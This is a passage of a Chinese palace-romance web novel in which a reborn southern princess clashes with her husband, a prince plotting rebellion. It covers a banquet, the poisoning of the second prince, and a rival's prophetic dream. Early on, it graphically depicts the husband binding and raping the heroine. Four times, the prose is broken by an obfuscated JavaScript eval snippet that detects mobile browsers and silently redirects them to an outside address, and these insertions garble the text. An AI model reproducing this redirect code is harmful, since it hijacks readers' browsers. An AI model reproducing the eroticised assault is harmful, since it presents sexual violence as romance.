沈绥过了十日便回到宫中。他的手臂好转了不少,虽不能行动灵活,但起码能简单地动一动。 刚一回来,就来到逢春殿找乌春。 天色不早了,乌春正对着镜子,让惊莲将发髻拆下来,墨发披散下来的一瞬间,沈绥走入殿中。 惊莲行礼:“三殿下。” 沈绥一拂袖子,让奴婢都退出去,自己关上了门。 关门的声音落在夜色里,尤其突兀。 乌春站起来,看着沈绥一步步走过来,一颗心莫名怵得慌,“你、你做什么?” “十日不见,你不道一声思念便罢了,如今我夜里来这,你反倒问我做什么,”沈绥瞧着她一副又畏又躲的样子,莫名来气,薄唇微勾起,“我来难道是看着你入睡不成?” 沈绥不费什么力气一拽,乌春便落入他怀中。 乌春推搡他两下,“我以为你早就知道我本就不想同你做那事。” 沈绥闭着眼,不去看她,在她耳边道,“我既然是你夫君,有些事便是你身为人妻必须要做的。”他哑声一笑,说了几句下流的话,“难道你不快活吗?” 乌春在他手臂那条伤口的位置上猛地掐了一把,沈绥闷哼一声,乌春趁机推开他,“离我远点!” 沈绥本来也想与她笑脸相对,可她面对他的时候,总是浑身的刺,却唯独对除了他之外的任何人,都可以温柔可亲。 他想,凭什么? 心里那股戾气又涌了上来,便脸色冷了下去,冷沉道:“看来是我近来太纵容你!你可知我忍了你多少回?” 乌春一瞧见他面色阴沉,前世在昭天塔上惨死的情景仿佛只在昨日,他永远都是个冰冷无情的人,她不要他那假情假意,冷哼道:“你既然忍了这么多回,也不差再多忍忍。” 沈绥气到极致反而笑出声来,他一把钳制住乌春,在乌春不断的“放开我”呼喝声中,将她双手绑起来,高高系在殿中立柱凸起的烛台上,乌春不得不踮起脚,甚至脚背需得绷直才能触碰到地面。 而正对着她的,是一面铜镜。 沈绥站在她身后,俯身在她脖颈上咬出一块印记,语气像毒蛇缓缓爬行般,冰凉道:“瞧,你这模样,是我给的。” 他的大手从她的后腰一直游走,到了身前,然后往上,紧紧地掐着她。 意识到他打算做什么,乌春生出遍体的凉意,她又怕又恨,一个“不”字刚刚说出口,已经被衣帛撕裂声淹没。 那一瞬,她觉得自己几乎被一把凿刀劈成两半。 他在她身后长久地折磨她,她觉得浑身都疼,疼得流出血,他也不打算放过她,当她意识模糊的时候,他又想办法逼迫她睁开眼,看着铜镜里的他们。 他衣冠楚楚,只是衣袍有些散乱。 而她浑身狼狈。 乌春绝望地哭泣,他就掰过她的脸亲昵地吻她。 “乖,求我,我就放过你。”像恶鬼的低语。 乌春紧紧咬着唇,死活不开口,沈绥的眼便渐渐阴冷,对待她也愈发凶悍。 守在外面的婢女根本不敢听逢春殿里的动静,恨不得把耳朵都捂得死死的,却又怕乌春在里面出事,沈绥要唤她们的时候,她们不在。 三殿下未免也太凶狠了些! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13080176|135565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这……这哪里是寻常人能弄出来的声响? 婢女提心吊胆地守了大半夜,好不容易里面的声音停下来,她们可以松口气,又传出断断续续的哭喊声,如此往复了两三次,直到寅时刚过,卯时灰蒙蒙的天出现在上空,主子终于叫了水。 婢女们不敢看三殿下,他的脸上脖颈上都挂着血珠子,更不敢看皇子妃娘娘。 她们为她沐浴的时候,她浑身上下竟然无一块好肉,遍体都是红青紫…… 任谁瞧了,都不会觉得这是一场欢愉。 沈绥差人将一个木匣子放在了逢春殿,他在宣阳殿里莫名烦闷,瞧着架子上一排纯洁剔透的玉器,依旧没能冷静下来。 抬起手要如往常一样拿刻刀雕琢玉石平复心里的戾意,却忽然意识到自己的手指不能灵巧活动。 便一甩袖子,拂落了不少半成品的玉石玩意。 玉碎了。 他的眸光也再也没法清冷,只觉得心里疲惫不已。 为什么好端端的,又闹成了这种局面? 他伫立在一地的碎玉面前,不知多久,外面一个太监战战兢兢地来跟他禀告,声音都带着胆颤,“三殿下,二殿下的生辰请柬到了,您看……” 沈绥下意识回答,“不去。” “是。” “等等,”沈绥转过身,神情冰冷得让太监吓得一股脑跪了下来,他不咸不淡道,“二哥的生辰,我自然是要去的,帖子收着罢。” …… 乌春发了场烧,甚至都没有力气给自己医治,直接叫来太医,沈绥就一直站在大殿门口,不知道为什么不进去,却也始终不肯让乌春离开他的视线,太医本来想劝劝沈绥,但沈绥一副什么话都不肯听的样子,便不敢多说。 乌春脑袋昏沉,意识也模糊,一天有很长的时间都在床榻上睡觉。 时不时有人给她来送药,那药苦得紧,恐怕也是怕她不肯喝,那人总是等她将药全部喝完才肯走。 其实那人想多了。 她一定会把药喝个干干净净,哪怕是黄连水,只要能让她好起来,她都可以眉头都不皱一下地喝完。 她的生命力总是在这种时候显得尤其顽强。 她还有好多事情要做,她要杀沈珙,她要回南疆,她要看着哥哥娶媳妇,她要报复月氏…… 她还要自在地看一看天地风光。 不能死! 每次喝完药,那人都会喂过来一枚蜜饯,甜甜的,在口中渐渐化开,像极了那段在母亲身边无忧无虑长大、做南疆唯一的小公主的日子。 乌春要痊愈的意识足够强烈,身上的病也就跟着好得快,三五天后,她就已经可以正常下地走动,只是还有些隐隐作痛。 沈绥已经走了。 惊莲小心觑着乌春,“殿下,这个匣子是三殿下带回来的,里面装了一对发钗,还有一对镯子。” 乌春没什么波澜,“这段日子你照顾我也辛苦了,这些就赏给你吧。” 人不是她照顾的,惊莲断不敢要赏赐,可想起三殿下的吩咐,为了不露馅,她又硬生生忍了回去,“多谢殿下。” 24. 成二姑娘 约莫半个月后沈绥的手臂终于好全了,甫一好全,他就拿起书架上的玉器雕琢起来,先前雕了一半的那只玉簪,现在已经有了七八成的模样,再过不久,一直栩栩如生的玉簪该雕好了。 他一边雕着那簪子,不禁想着乌春带上它时的情形,唇角荡开一丝浅淡微不可察的笑容。 转而想到乌春已经许多天不曾搭理他,将他拒之于门外,唇角又渐渐压了下去。 沈珙在吟风楼中摆宴,帝都中许多贵族公子小姐前往凑热闹。 乌春和沈绥一同前去,一路上,乌春都对沈绥没什么好脸色,沈绥对乌春似乎也还有几分愧疚,一路上都忍让她。到了吟风楼的时候,下人扶着两位主子从车上下来。 有种莫名古怪的冷凝气氛蔓延在他们二人中间。 他们分明是这世上最亲密的人,举止间却有陌生之感,下人们都低着头不敢看。 沈绥朝乌春伸出手,乌春看也没看他一眼,径直挽着惊莲的手走入了吟风楼。 沈绥的手在空中僵了瞬后,手指尖微微一颤,收回了手。 吟风楼里自然是热闹非凡。王孙公子,绫罗红绡,正中央的戏台上已是歌舞升平,来的人已经不少。 乌春一眼就看见了沈璎,于是在她身边坐下。 沈绥面色黑了下去。 “嫂嫂你和三哥吵架了吗?”沈璎看着不远处的沈绥,莫名觉得他的表情有些瘆人,仿佛下一瞬就要走过来把自己吃了似的,“嫂嫂,要不你还是和三哥坐在一起吧?” 乌春握着她的手安慰道,“别怕,此处好歹也是吟风楼,这么多人呢,我好不容易出宫一趟,和姐妹坐在一起,有何不可?” 沈樱叹了口气,“也罢,我也是难得出一趟宫,竟然还是沾了二哥的光。” 沈绥正要走过来,旁边却来了一个男子,手中端着一个酒盏,要同他攀谈。沈绥只好唇角抿起,勾勒出刀刻似的弧度,转身同男子交谈起来。 沈璎收回眼。 公主年纪不大,正是看什么都新鲜的时候,一边瞧着台上的戏,一边看外面来的人。忽然眉梢一挑,指着一婷婷袅袅的女子道:“那是谁?生的如此清秀,应当是贵族里数一数二的小姐,我却从未见过。” 乌春顺着她的手指望过去。 那边站着两个女子,一前一后,前面的光芒耀眼,后面的柔顺安静。 乌春很自然地觉得沈璎应该是认识在前的那个女子的,便仔细瞧着后面那位,觉得有些眼熟,想了一会儿方道。“是成将军府上的二姑娘,成静仪。” “哦……”公主努力的思索了片刻,“是那位庶出的小姐。” 乌春瞧着成静仪,只觉得她确实生得貌美,巴掌大的脸,柳眉星眸,鼻子嘴唇都生的小巧,皮肤冷白,看起来乖巧又清冷,像是一朵风中白莲。 成家两位姑娘一出现,就有许多女子上前来打招呼,大些的姐姐无疑是小姐们中的耀眼明珠,而小一点的成二姑娘就显得像是陪衬了。 成静仪性子柔顺乖巧,许多大梁男子应当都喜欢她这种女子。 来的人越来越多。不一会儿,泽安王也来了。 兴许泽安王和成静仪的缘分就是从此开始的吧,乌春心里这么想着。 沈珙是最后一个到的。 一瞧见那嚣张跋扈,颐指气使的模样,乌春心里便涌起阵阵的恶寒,她竭力平复心绪才让自己看起来不那么异常。 沈绥走了过来,坐在乌春的旁边。众目睽睽之下,乌春并没有对沈绥表现得多热情。 沈绥张了张嘴,想要同乌春说一句,都是自己的不好,害得她病了这么些天。可乌春并没有要同他说话的意思,仿佛只当他是空气。 她目不转睛地盯着台上,沈绥顺着她的目光望过去,只见那是一个唇红齿白的伶人小生。 乌春一边还从面前的糕点碟子里取出芙蓉糕来吃。 沈绥的话便堵在了喉咙里,不上不下的仿佛卡了根刺,让他喉间又梗塞又疼。 沈绥瞧着乌春狼吞虎咽似的吃那糕点,惹来了不少贵族小姐的白眼,却没吭声,只唤人来,要多取几杯茶水,再拿几碟糕点来,全部摆在乌春面前。 那些白眼乌春的贵族小姐见这野蛮女子的夫君竟然并不责怪她,而自己平素稍微有些不端正的举止就要被责罚,心里憋了口气,却在沈绥偶尔扫过的冰冷的目光下后背升起阵阵凉意,不敢再鄙夷乌春。 这种宴会说是为二殿下庆生,实则也是贵族之间相互拉拢结识人脉的好时候。宫外没有那么多繁文缛节,男子多同男子聚在一处,女子便和女子一起说话打叶子牌,满是自在。 吟风楼其实不只是一座楼,更是一座花园。楼后有山丘湖泊,若到了仲春时节,便是百花齐放的灿烂春景。宾客们不一会儿便在吟风楼后走动起来。 乌春同沈璎走在一处,沈绥要跟着,乌春没好气地看他一眼,“我们女儿家说话,你一个臭男人跟着作甚?” 沈绥一噎,“你身子刚好不久,我不放心。” 乌春冷道,“此处可比逢春殿安全得多。” 沈绥哑然,却也奈何不了她。 乌春和沈璎便带着三两婢女在吟风楼的后花园走动起来。 走着走着天忽然下起了雨,先是蒙蒙细雨,觉着还能在雨中观赏景色,可渐渐的那雨变得越来越大,雨滴砸在湖泊上荡出一圈一圈涟漪,惹得岸边的芦苇都瑟瑟抖动。 乌春和沈璎只好走入楼中避雨,一路上至第三层,此处视线开阔,能将吟风楼边的浩荡景色都纳入眼帘。 沈璎叹了口气说,“唉,怎么好端端的天下起雨来了。” “快到秋日了吧?夏秋之交的雨总是多些,再过不多时帝都的气候该干燥了。” 两人有一搭没一搭地在檐下说着话。 隔着朦胧雨帘,乌春瞧见了下面沈绥的身影。他撑着一把伞在雨中独立,像是款款涉水的鹤。 乌春刚要挪开视线,就看见一白衣女子慌张地朝着沈绥小跑过去。 乌春眯了眯眼。 成静仪一手提着裙子,一手半遮着额际,似是要挡雨,可那雨压根儿用她一只手挡不住。 她迈着碎步小跑,想来也是心急,一不留神竟然撞上了沈绥。 “哎呀!”成静仪发出一声惊呼,抬头对上沈绥一双黑白分明的狭长凤眸,更添了几分诧异, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13080177|135565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “原来是你。” 她顿了顿又道,“对不起,方才是我太过莽撞冲撞了公子。” 沈绥听了,只是微微挑了挑眉,那一夜的事其实不宜让太多人知晓,虽然和成统并未在旁人面前露出什么破绽。 “无妨。”他微微挑了挑眉后,就撑着伞在雨中往她身后走。 却又被成静仪唤住。 “公子……”她的嗓音又尖又软,像是这丝丝缕缕落下的雨,“可否借你的伞避避雨?” 沈绥瞧着这成二姑娘,淋了不少雨,半边肩头都湿着,面上荷叶似的沾着不少水珠子,一副楚楚可怜的模样。 他移开眼,随手将伞递了过去,“拿着。” 自己暴露在雨中,衣襟顷刻深浅斑驳起来。 成静仪反倒愣了下,“公子将伞给我了,那公子岂不是要淋雨。” 沈绥已然远去,“我同你父亲有故交,淋一阵子的雨,算不得什么。” 成静仪委实没想到他这般干脆,却也不好再追上去,慢吞吞地撑起了伞。 乌春一下没漏地目睹了一切。 成静仪认得沈绥? 她想了想,也不是不可能,沈绥上次剿灭西幽人就是同成大将军一起,两人不算毫无交集。 可成静仪不是应该爱慕沈珩吗? 方才成静仪眼中那一点点欲盖弥彰的胆怯与爱慕,乌春可真是再熟悉不过了。 前世她就是这么看沈绥的。 成静仪好歹也是成家的二小姐,再不受宠也不至于连个贴身的婢女都没有,一个人在雨中奔跑,分明是先前支开了身边人。 再看沈绥将伞递过去后,她一脸的怔愣,想必是想和沈绥同搭一把伞的,没料到他会施然淋雨离去。 为何呢? 乌春想不明白。 她看着底下那纤瘦身影撑着她夫君的伞。 那伞的伞柄上还有去岁乌春刚嫁给沈绥不久的时候刻的几朵海棠花,为的是让沈绥在撑伞时感受到掌心的纹路,能想起她。 雕刻得自然不怎么样,那花歪歪扭扭,压根儿看不出花形,反倒硌手。 沈绥当时接过来的时候还皱了下眉。 现在落在一个陌生姑娘的手里。 乌春说不出这是什么滋味,但很快,心里一轻。 有姑娘缠着她夫君,这难道不是好事吗? 乌春盘算着,她是南疆公主,沈绥再怎么也不敢降她的妃位,顶多纳个妾进来,自然也不能宠妾灭妻,她地位不减,夫君还有姑娘上赶着伺候,她不就更自在了吗?! 沈璎没觉察到下面有沈绥,一心只瞧着远处深宫看不见的风景,站累了就和乌春一道回去,楼中依旧歌舞喧哗。 沈绥正在倒一盏热茶。 乌春走近坐下后,沈绥道了声“你来得巧”,将热茶递给她,“方才降了天寒,喝点热茶。” 乌春抿了口茶,清苦的味道在唇舌间蔓延开,“你怎么淋雨了?你的伞呢?” 沈绥正要答话,成二姑娘很合时宜地走进来,“公子,多谢你的伞。” 看了眼乌春,成二姑娘又一脸无辜,惊讶道:“呀,这位便是公子的夫人罢。” 25. 还不死 成静仪外表看着只是很寻常地跟乌春打招呼,但乌春听在耳中却莫名觉得有点不舒服。 乌春来不及细想这不舒服的缘由,沈绥就已先接过了伞,“你不用谢我,我和你父亲有旧,这是应当的。” 沈绥的语气很平淡,一副拒她于千里之外的模样,成静仪面上也不尴尬,只笑笑又说了几声谢谢。 一个婢女唤到,“小姐,小姐,原来你在这儿!” 这婢女的嗓音又尖又细,拔高了声音讲话的时候,一众人都能听见这边的动静,许多目光聚集过来。 乌春此时才觉察出刚才那不舒服是为何了。 成静仪分明知道沈绥是有正妃的,却仍旧一个劲儿地往上凑,在沈绥面前晃悠倒也罢了,毕竟他还可以纳妾,但舞到她面前来是怎么回事? 成静仪又道,“不论如何,殿下帮了我,我都是要谢谢殿下的。”又虚虚行了一礼后,才施施然离去。 沈绥将伞随手递给身边一个下人,“刚才成二姑娘找我借伞,我将伞借了出去,身上才淋了雨。” 他一双冷若寒潭的眼,像是面光滑的镜子,里面倒映出乌春的面庞,他紧紧地盯着她,想要从她脸上找出些什么波澜。 这一瞬,沈绥的心跳陡然急促,像是外面簌簌的雨。 可乌春又一次让他失望了。 她一副压根儿没把这事放在心上的模样,决然不会因他而拈酸吃醋,反倒宽宏大量似的道,“哦,原来是成二姑娘呀,我瞧着成二姑娘在成府也不大容易,你借给她伞算是一件善事。” 沈绥抿了抿唇,“这伞还是去岁你送给我的。” 可她依旧面无波澜,“要不是你说,我都险些忘了这事儿了。” 其实沈绥总有一种想要把她撕烂的冲动。 有些时候他会恨她。他或许不知道什么是爱,但他一定明白恨的滋味是怎样的。 譬如此时,他就恨,也生出一股怒意。 可偏偏无论是怒还是恨,他都没有办法发泄出去。 之后的宴会,沈绥周遭的空气仿佛与旁人都隔绝开来,旁人是热闹喧哗,而他却沉默寡言,偏偏他身边的乌春还能和公主眉飞色舞地说话,一边鼓着腮帮子吃茶点,好不快活。 方才成静仪来找沈绥,目光里流露出的爱慕之情,连沈璎都看在眼里。 沈璎悄悄拉着乌春的手问,“嫂嫂,你还好吧?” 乌春反倒奇怪,“我有什么不好的?何出此问?” 沈璎顿了顿,“刚才有个姑娘找你的夫君呀。你心里就一点儿不舒服也没有吗?” 乌春了然笑道,“要找就找呗,我还能怎么样呀?哦,对,我能替他纳妾。” 乌春说完,很快又往自己口里塞了一块糕点,动作有些猛,她自己也被噎了噎,沈璎要给她倒茶喝,旁边沈绥动作更快,伸过来一只手,手中一个茶盏。 沈璎又小声道,“你真的爱三哥吗?” 乌春喝了茶,却没有答话。 她从前那么爱他呀。 把他放在心尖上,什么事情都以他为第一位。为了博他一笑,她费了好多心思。给他缝制冬衣,给他做羹汤,给他种南□□有的花草。 她也是南疆的小公主啊。儿时有母后疼爱,长大了些,虽然有继后刁难,哥哥却也宠着她。 那等在冬日里缝制衣裳,手指尖都被扎肿的事情,何时轮得到她? 可偏偏她愿意为了沈绥做这些。 大梁的贵族不喜欢她,说她粗鄙刁蛮,她觉得自己给沈绥丢了脸,于是规规矩矩地学规矩。 怎么能说她不爱他呢? 是他不爱她。 宴会的后半段,沈绥无暇欣赏,乌春也看不进去。 乌春满脑子都在盘算,若是成静仪喜欢沈绥,那为何前世她没有听闻到一点风声呢? 她怕这一世和前世的任何一点不一样,都会影响到出宫的计划。 正沉思的时候,席间突然发出一声惊呼,“二殿下,您这是怎么了?来人,寻太医……不,寻个郎中来,快!” 只见方才还端坐在席间饮酒观美人的沈珙,此刻竟然晕倒在地!他的唇色隐隐发青,唇边还有白色的唾沫油流下,双眼圆瞪,一副行将就木的模样! 二殿下在生辰宴上出了事故,此处的人都逃不开干系,他身边的侍卫即刻封锁了整个吟风楼,所有的歌舞顷刻间黯淡,取而代之的是看不见的惊慌。 众人又惊又怕。 竟然有人敢在如此场合谋害二殿下!好大的胆子! 乌春心里倒是冷静,脸上却一副惊惧的样子,沈绥望见沈珙后眉心微蹙,将乌春揽了过来,冰冷的手指覆在她的眼前,“别怕。” 她靠在沈绥的胸膛上,男人的躯体结实宽阔,有力的心跳透过胸膛传出来。 乌春竭力忽视他的温度。 乌春想不到,薛守德竟然会如此迅速的行动。 眼下她最关心的不是薛守德,而是沈珙。 他真的能死吗? 而薛守德。 薛守德这段时日没过过一天的安稳日子。前段时间有人在夜里闯入他的宅邸抢劫,吓得他要丢去半条命不说,没过多久,又有人闯入他的宅邸,警告他不允许再靠近成府的二姑娘,否则就杀他灭口。 他可真是倒了八辈子的霉! 薛守德虽然惯会偷奸耍滑,会做些阴私勾当,但他可宝贝自己的命了。 他觉得一而再再而三的有人闯入宅邸要杀他,一定是因为有仇家要陷害! 想来想去,仇家里头能做到悄无声息的找人入宅,还如此不把大梁法律放在眼里的,只有二殿下沈珙! 于是趁着他的生辰宴会,他买通了一个下人,要他们给沈珙送掺杂了蛊药的酒,待那个人给沈珙送完了酒,回到薛守德身边领赏的时候,薛守德在空中撒了把毒粉,那人没几息的功夫便死了。 薛守德倒是沉得住气,在席间没有露出什么异常。 郎中来得很快,一下子按了几个穴位,防止沈珙身上的毒素蔓延,沈珙还吊着一口气没死。 乌春的心都悬了起来,拂开沈绥的冰凉的手,她的手指和他的手指触碰的时候,他不自觉地抓了抓,乌春看他一眼,要离他远些,沈绥干脆把她抱起来坐在自己腿上。 他低声道:“这种场面,女儿家还是不看为好。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13101641|135565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 大庭广众的,自己的亲哥哥在那半死不活,他半点关心的神情都没有,还能跟妃子调情,旁若无人地暧昧。 旁边的贵族无论男女都不由称奇。 乌春:“不劳你操心。”又将头转了过去。 郎中带着几个学徒,手忙脚乱地诊治沈珙,吟风楼里只听得见他们急促的交谈声,心惊胆战的一刻时间后,沈珙的命保住了。 乌春眼里浮现出几丝戾气。 沈绥眉眼倒是很平淡,徐徐抿了口茶。 待这一桩案子呈递上去之后,因为涉及到皇族中人,需要废一段时间仔细查,大理寺的官员将此处都围了起来,沈绥并不打算掺和,静静地搂着乌春喝茶。 自己的这一盏喝完了,又去拿乌春没喝完的那一盏。 唇印在乌春的唇方才触过的地方。 乌春:“诶!” 沈绥倒是若无其事,乌春小声骂他“臭不要脸”,他却好像很受用似的,唇角微勾。 乌春烫着耳根不去看他,一直注意着那边查案子的官员的动向。 不多时,小半个时辰的功夫,后院传来一声通报:“报——在水井之中发现一具尸体!” 乌春咬了咬牙。 薛守德这蠢人做出来的事,乌春一点也不奇怪,她恨铁不成钢的是沈珙一时没死。 仵作来查看,“此人面色发紫,手上没有溺水后攀着水井挣扎的痕迹,可见是死后被人抛尸入井或者自.杀。用银针验过他的肌肤,可见是用了毒,若是要自杀,断不用服毒后再跳井,可见是被人毒杀。年岁二十上下,体格寻常……” “血液尚未干涸,刚死不久!” 江玄凝道:“定是知道了些什么,所以被人毒杀。” 再要查下去,恐怕很快就能查出来真相,但江玄凝却道:“诸位辛苦了。涉及到的人员太多,案子需要时间,各位都是贵客,请先行归去。我等定当竭力还二殿下一个公道,也会将幕后之人绳之以法。” 就这么放了? 众人都很疑惑,不过还是依言照做,各回各家。 沈绥和乌春一起回宫。 路上,沈绥淡淡问乌春,“我看你方才一直心神不定的,怎么回事?你什么时候开始关心沈珙了?” 乌春很怕沈绥发现自己知道他要谋反的事情,但沈珙这件事不怕,甚至某种意义上说,他们是一路人。 都厌恶沈珙。 所以回道:“我心神不定,因为那是你二哥,高低也和我有点关系。倒是你,一点也不在乎他的死活,若叫人看了,怕是要误会你就是那布局要毒害他的人。” 沈绥笑了笑,“沈珙的死活,跟我有什么关系呢?” 若是正常的皇子争帝,那当然有关系,且关系不浅! 可沈绥这么说…… 是因为他根本不和他们争,他会杀出一条血路,路上全是皇宫累累白骨,去铺他的帝位! 乌春后背有些凉,不敢接话。 沈绥又微微俯身道,“我瞧吟风楼附近有处卖桂花糕的铺子,卖了十年,在民间颇有名气。走罢,我们去买桂花糕吃。” 他心情不错。 26. 预知梦 成静仪去岁做了个梦。 梦见自己苦心经营嫁给沈珩,成为泽安王妃之后,没过多久好日子,就碰上了沈绥兵变。 沈绥登基之后,并没有杀沈珩,只是将他囚禁起来,而她作为泽安王妃,自然也是一同囚禁。 她在幽深黑不见底的牢狱中支撑了七天不到就死了。 牢狱里那些无处不在的老鼠的沙沙啃食声,时不时爬过她脚边的虫豸,还有同晦暗烛火一起散发出的馊饭馊菜的臭沤气味,都是她宁可死也不愿再去回忆的! “我在成府熬了这么多年,父亲不在时,我受到嫡母和嫡姐的刁难,有时日子甚至过得不如嫡姐的丫鬟。” “她们见不得我好,我便处处都要矮嫡姐一头。她们只知道琴棋书画我样样输给嫡姐,却不知背地里我守着半夜三更的油灯,付出无比的努力,暗暗较劲,嫡姐精通的任何技艺我都比她更强。” “我过了十七年苦日子,嫡姐赢了我十七年,我便偏要嫁得比她好,后半辈子比她风光!” “我小心翼翼经营这么多年,好不容易嫁给你,当了王妃,可叹天意弄人,才不足两年,我便又要过从前那如履薄冰的日子……” 成静仪半边脸笼罩在阴影中,半边脸惨白,她露出灿烂无比的笑,笑得后背都一颤一颤,状若癫狂。 沈珩忙去握她的手,他眸光颤抖,哑声道:“一一,你别这么说……” “难道……这就是我的命吗?”她自顾自道。 沈珩道:“你会活下去的,本王不许你这样说自己!” 他伸手抚摸她的脸庞,俨然一副心疼不已的神情,手背上有纵横的伤,他的手也开始颤抖。 成静仪看着满身都是伤痕,脸色如纸的男人,目露怜悯,“可是沈珩,我对你没有什么爱意,我在利用你啊!” 沈珩眸光怔然地望着她。 “你瞧,你永远都是如此良善宽厚,哪怕我说一句我利用你,你也可以安慰我说,我能活下去……” 成静仪看着他摇头,仰头望,望见灰黑的水泥,仿佛在望这一生的囹圄,喃喃自语:“这就是你输给沈绥的原因罢……你当年要娶的南疆公主被沈绥所娶,如若你再狠心些,从一早就杀了沈绥,沈珙又是个蠢货,陈家生不出皇子,这帝位也该是你的!” 她好恨,恨自己苦心攀的高枝不争气,也恨这弄人的天命! 就算活下去,又能如何?她和沈珩都要仰仗着沈绥的鼻息而活! 成静仪一头撞在水泥墙壁上。 将梦也撞醒了。 她起初觉得荒唐,可梦中的情绪无比真实,梦中的她口中在成府的处境也如此真实,她便将信将疑。 等到第一次在宫宴上见到沈珩,沈珩与梦中人长相一样,她终于信了这梦是预知梦,如果不做出改变,她会像梦中那样死去! 最好的办法,就是换个人攀。 比如……未来的江山之主,沈绥。 …… 沈珙被送回宫请太医的时候,沈绥和乌春也回到毓宁宫。 萧怀文来寻沈绥,看了眼旁边站着的乌春,欲言又止,沈绥刚要说不必介意乌春,还未开口,乌春便撂了沈绥的手,自去逢春殿中。 裙摆的绣线在空中划出好看的弧度,像绽放的金花。 沈绥看了眼她离去的背影,才对萧怀文道:“说罢。” “殿下,您上回要我安插眼线到冷宫中查线索的探子近来得出了一点消息。”萧怀文从袖中取出一个小袋子递过去,“这是当年谢贵妃在冷宫的居所后院一棵老树下挖出来的土。” 当年谢阮阮因为害死薛清音的罪责,被打入冷宫,在其中住了不足数月,便病死了。 当时伺候谢阮阮的几个老嬷嬷现在只有一个还活着,萧怀文找人问过当年的事情,说是谢阮阮的确有一段时间天天用药,那药都是托谢将军在宫中的故交想办法买来的,熬药的味道隔着院子都能闻到,让人印象尤其深刻。 可是这药,却对谢软软的病没有半点用。 熬药剩下的药渣,自然被泼到院子里,只不过过了这么多年,药渣早就化为了尘土,萧怀文的眼线在院子里挖了又挖,几乎寻了个遍,才终于挖出来点还有几分草药的叶梗模样的碎渣。 沈绥略略打量了片刻布袋子中的碎土,“你做得不错,将这袋土交给江玄凝便可。” 若是太医给谢阮阮开的药,和卷宗上谢阮阮记载的用药不一样,那便可以确定,是有人要加害谢阮阮! 当时江玄凝就是看了卷宗,发现谢阮阮记载的病症和用药是完全相符的,但按理说,谢阮阮出身将门,体格比寻常女子要健康不少,怎么可能这么快就死在冷宫里了? 于是上奏陈述疑惑,将旧案又翻了上来。 萧怀文将要走,沈绥又叫住他,“慢着。” “殿下还有何吩咐?” 沈绥道:“我听说你和工部侍郎薛守德相识?” “确实如此。当年薛守德投奔姑姑的时候,途经一荒山,山中有棕熊出没,若不是臣恰巧在山中打猎,偶遇薛守德,恐怕他就要死于棕熊爪下了。” 沈绥一沉吟,“如此说来,你同他交情不浅。” “非也,臣看不惯此人行事为人之道,这些年便从未与他深交。但若是殿下有需要,臣可以为殿下打探打探。” 沈绥嘴角勾了勾,“我怀疑沈珙今日被毒害,和薛守德有关。” …… 乌春在逢春殿里百无聊赖地拣草药,刚掐下几片枯萎的叶子,就听见玉梨小跑进来道:“殿下,三殿下往库房的方向去了,若是……若是殿下发现那些南疆的玩意……” 乌春心里咯噔一下,手一顿,“沈绥去库房做什么?” 因为沈绥从来不去那屋子,所以乌春便将巫蛊之术需要用到的东西全部存在那里,她糊弄旁人倒可以说是以防万一沈绥受伤,她可以为他治病,但糊弄沈绥可就不行了。 他若是发现那些东西,定然一眼就瞧出来她是要下毒! 以这疯子的性子,怎么会留着个祸害在旁边? 乌春越想心里越发寒,便提着裙子跑了出去。 沈绥正立在库房前面,玉面冷淡,惊莲守在门前欠着身子,一脸为难。 眼见着沈绥一副不把惊莲的话放在耳边的淡漠模样,一只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13122780|135565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手甚至已经覆上了门闩,乌春掐着嗓子唤道:“夫君——” 沈绥的手指一颤。 收回手,转过身去。 乌春行至他面前,“夫君这是怎么了,与萧将军谈完了公事,怎么也不来逢春殿,反倒是来库房?” 沈绥一双清冷墨眸淡淡垂下来,似乎是在打量乌春,只见她笑靥如花,像是粉雕玉琢而出的瓷娃娃,那弯弯的眼眸明媚如日光下璀璨生光的琥珀,可天真无邪的背后藏着些什么,谁也说不清了。 沈绥启唇,“想起来许久未曾查过宫里的东西,便来看看,可有什么缺漏。” 